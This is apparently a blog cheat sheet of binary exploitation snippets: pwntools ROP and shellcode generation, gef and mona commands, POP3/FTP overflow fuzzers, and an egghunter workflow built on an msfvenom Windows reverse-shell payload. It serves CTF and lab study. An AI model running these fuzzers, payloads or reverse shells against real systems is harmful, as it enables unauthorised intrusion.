Binary Exploitation Snippets

4 minute read

Collection of random commands/code snippets/resources relating to binary exploitation.

Analysis


checksec <bin>

cat /proc/sys/kernel/randomize_va_space

file <bin>
strings <bin>
ldd <bin>
ltrace <bin>
strace <bin>

objdump -D <bin> | grep puts
objdump -D <bin> | less
/<main
/<puts
...

readelf -s <lib>
readelf -s <lib> | grep '/bin/sh'
readelf -s <lib> | grep system
readelf -s <lib> | grep " system@"
readelf -s <lib> | grep -e " system@" -e " exit@"
strings -tx <lib> | grep '/bin/sh'

gef


gef➤  checksec
gef➤  i functions
gef➤  disas <function>
gef➤  pattern create <int>
gef➤  pattern search <addr>
gef➤  pattern offset <string>
gef➤  search-pattern /bin
gef➤  c  //continue
gef➤  n  //next
gef➤  s  // step
gef➤  x puts  // get location of puts
gef➤  x system  // get location of system
gef➤  fin //finish function
gef➤  info break // list breakpoints
gef➤  print $_got()
gef➤  ! ROPgadget --binary callme32|grep sp  // list gadgets
gef➤  ! ROPgadget --binary callme32|grep pop  // grep for pop gadgets

pwntools


>>> p8(0)
b'\x00'
>>> p32(0xdeadbeef)
b'\xef\xbe\xad\xde'
>>> p32(0xdeadbeef, endian='big')
b'\xde\xad\xbe\xef'
>>> with context.local(endian='big'): p32(0xdeadbeef)
b'\xde\xad\xbe\xef'


plt_put = bin.plt['puts']
got_put = bin.got['puts']
pop_rdi = bin.search(asm('pop rdi; ret')).next()


>>> exe = context.binary = ELF('./bin')
[*] '/root/bin'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

>>> r = ROP(exe)
[*] Loading gadgets for '/root/bin'

>>> r.gadgets
{4198915L: Gadget(0x401203, [u'pop rbp', u'pop r12', u'pop r13', u'pop r14', u'pop r15', u'ret'], [u'rbp', u'r12', u'r13', u'r14', u'r15'], 0x30), 4198916L: Gadget(0x401204, [u'pop r12', u'pop r13', u'pop r14', u'pop r15', u'ret'], [u'r12', u'r13', u'r14', u'r15'], 0x28), 4198917L: Gadget(0x401205, [u'pop rsp', u'pop r13', u'pop r14', u'pop r15', u'ret'], [u'rsp', u'r13', u'r14', u'r15'], 0x28), 4198918L: Gadget(0x401206, [u'pop r13', u'pop r14', u'pop r15', u'ret'], [u'r13', u'r14', u'r15'], 0x20), 4198919L: Gadget(0x401207, [u'pop rbp', u'pop r14', u'pop r15', u'ret'], [u'rbp', u'r14', u'r15'], 0x20), 4198920L: Gadget(0x401208, [u'pop r14', u'pop r15', u'ret'], [u'r14', u'r15'], 0x18), 4198921L: Gadget(0x401209, [u'pop rsi', u'pop r15', u'ret'], [u'rsi', u'r15'], 0x18), 4198922L: Gadget(0x40120a, [u'pop r15', u'ret'], [u'r15'], 0x10), 4198923L: Gadget(0x40120b, [u'pop rdi', u'ret'], [u'rdi'], 0x10), 4198418L: Gadget(0x401012, [u'add rsp, 8', u'ret'], [], 0x10), 4198419L: Gadget(0x401013, [u'add esp, 8', u'ret'], [], 0x10), 4198422L: Gadget(0x401016, [u'ret'], [], 0x8), 4198713L: Gadget(0x401139, [u'pop rbp', u'ret'], [u'rbp'], 0x10), 4198827L: Gadget(0x4011ab, [u'leave', u'ret'], ['rbp', 'rsp'], 0x2540be407)}

>>> r.find_gadget(["pop rdi", "ret"])
Gadget(0x40120b, [u'pop rdi', u'ret'], [u'rdi'], 0x10)

>>> g = r.find_gadget(["pop rdi", "ret"])

>>> g.address
4198923L

>>> r.call(exe.sym.puts, [exe.got.puts])

>>> r.call(exe.sym.main)

>>> print r.dump()
0x0000:         0x40120b pop rdi; ret
0x0008:         0x404018 [arg0] rdi = got.puts
0x0010:         0x40102c
0x0018:         0x40115f 0x40115f()

>>> exe.got.puts
4210712

>>> hex(exe.got.puts)
'0x404018'


>>> pwn.shellcraft.i386.linux.cat('flag.txt')     # generate our own shellcode to cat flag.txt
u"    /* push 'flag.txt\\x00' */\n    push 1\n    dec byte ptr [esp]\n    push 0x7478742e\n    push 0x67616c66\n    /* open(file='esp', oflag='O_RDONLY', mode=0) */\n    mov ebx, esp\n    xor ecx, ecx\n    xor edx, edx\n    /* call open() */\n    push SYS_open /* 5 */\n    pop eax\n    int 0x80\n    /* sendfile(out_fd=1, in_fd='eax', offset=0, count=2147483647) */\n    push 1\n    pop ebx\n    mov ecx, eax\n    xor edx, edx\n    push 0x7fffffff\n    pop esi\n    /* call sendfile() */\n    xor eax, eax\n    mov al, 0xbb\n    int 0x80\n"
            
>>> pwn.shellcraft.i386.linux.cat('nc localhost 1234')
u"    /* push 'nc localhost 1234\\x00' */\n    push 0x34\n    push 0x33323120\n    push 0x74736f68\n    push 0x6c61636f\n    push 0x6c20636e\n    /* open(file='esp', oflag='O_RDONLY', mode=0) */\n    mov ebx, esp\n    xor ecx, ecx\n    xor edx, edx\n    /* call open() */\n    push SYS_open /* 5 */\n    pop eax\n    int 0x80\n    /* sendfile(out_fd=1, in_fd='eax', offset=0, count=2147483647) */\n    push 1\n    pop ebx\n    mov ecx, eax\n    xor edx, edx\n    push 0x7fffffff\n    pop esi\n    /* call sendfile() */\n    xor eax, eax\n    mov al, 0xbb\n    int 0x80\n"


# We can then turn the above into opcodes...

>>> pwn.asm(pwn.shellcraft.i386.linux.cat('flag.txt'))        
'j\x01\xfe\x0c$h.txthflag\x89\xe31\xc91\xd2j\x05X\xcd\x80j\x01[\x89\xc11\xd2h\xff\xff\xff\x7f^1\xc0\xb0\xbb\xcd\x80'

>>> pwn.asm(pwn.shellcraft.i386.linux.cat('nc localhost 1234'))   
'j4h 123hhosthocalhnc l\x89\xe31\xc91\xd2j\x05X\xcd\x80j\x01[\x89\xc11\xd2h\xff\xff\xff\x7f^1\xc0\xb0\xbb\xcd\x80'

Python Templates


Basic template for remote and local devlopment (thank you John Hammond):

from pwn import *

elf = ELF('./bin')
local = True

if local:
    p = elf.process()
    libc = ELF('/lib/...')
else:
    host = '10.10.10.10'
    port = 1337
    p = remote(host,port)
    libc = ELF('lib.so')

#print(p.recv())
p.recvuntil('$: ')
p.recv().strip()
#print(int(p.recv().strip()),16)

Some random commands:

python -c "print '\xee...'" | ./<bin>
python -c "print '\xee...'" | nc 10.10.10.10 1337
(python -c "print 'A'*100 + '\xx...'" ; cat) | ...

Basic Fuzzing Templates


#!/usr/bin/python
import socket

buffer=["A"]
counter=100
while len(buffer) <=30:
  buffer.append("A"*counter)
  counter=counter+200

for string in buffer:
  print "Fuzzing PASS with %s bytes" % len(string)
  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  connect=s.connect(('10.10.10.10',110))
  s.recv(1024)
  s.send('USER test\r\n')
  s.recv(1024)
  s.send('PASS ' + string + '\r\n')
  s.send('QUIT\r\n')
  s.close()
package main

import (
	"bufio"
	"fmt"
	"log"
	"net"
)

func main() {
	for i := 0; i < 2500; i++ {
		conn, err := net.Dial("tcp", "10.0.1.20:21")
		if err != nil {
			log.Fatalf("[!] Error at offset %d: %s\n", i, err)
		}
		bufio.NewReader(conn).ReadString('\n')

		user := ""
		for n := 0; n <= i; n++ {
			user += "A"
		}

		raw := "USER %s\n"
		fmt.Fprintf(conn, raw, user)
		bufio.NewReader(conn).ReadString('\n')

		raw = "PASS password\n"
		fmt.Fprint(conn, raw)
		bufio.NewReader(conn).ReadString('\n')

		if err := conn.Close(); err != nil {
			log.Println("[!] Unable to close connection. Is service alive?")
		}
	}
}

Mona


!mona bytearray
!mona pc 100
!mona rop
!mona jmp -r esp
!mona egg -t l0xx
!mona find -s "\xff\xe4" -m target.dll

Egghunters


First create shellcode:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.xx.xx LPORT=1337 -b '\x00' -f python

buf = ""
buf += "d9c7d97424f45a2bc9bb9f0948"
...

Run the egghunter script:

$ python2 EggHunter.py l0xx
[+] Egg Hunter shellcode with egg of 'l0xx'..
Final Opcode    : 6681caff0f42526a0258cd2e3c055a74efb87878306c8bfaaf75eaaf75e7ffe7
Final Shellcode : '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x78\x78\x30\x6c\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7'

Assign some variables:

egg = 'l0xx'
shellcode = (egg * 2) + binascii.unhexlify(buf)
egghunter = "6681caff0f42526a0258cd2e3c055a74efb8" + binascii.hexlify(egg) + "8bfaaf75eaaf75e7ffe7"

Can use mona as well:

!mona egg -t l0xx
egg = 'l0xx'
egghunter = "6681caff0f42526a0258cd2e3c055a74efb8" + egg.encode('hex') + "8bfaaf75eaaf75e7ffe7"

spray = egg + egg + nops + shellcode

Resources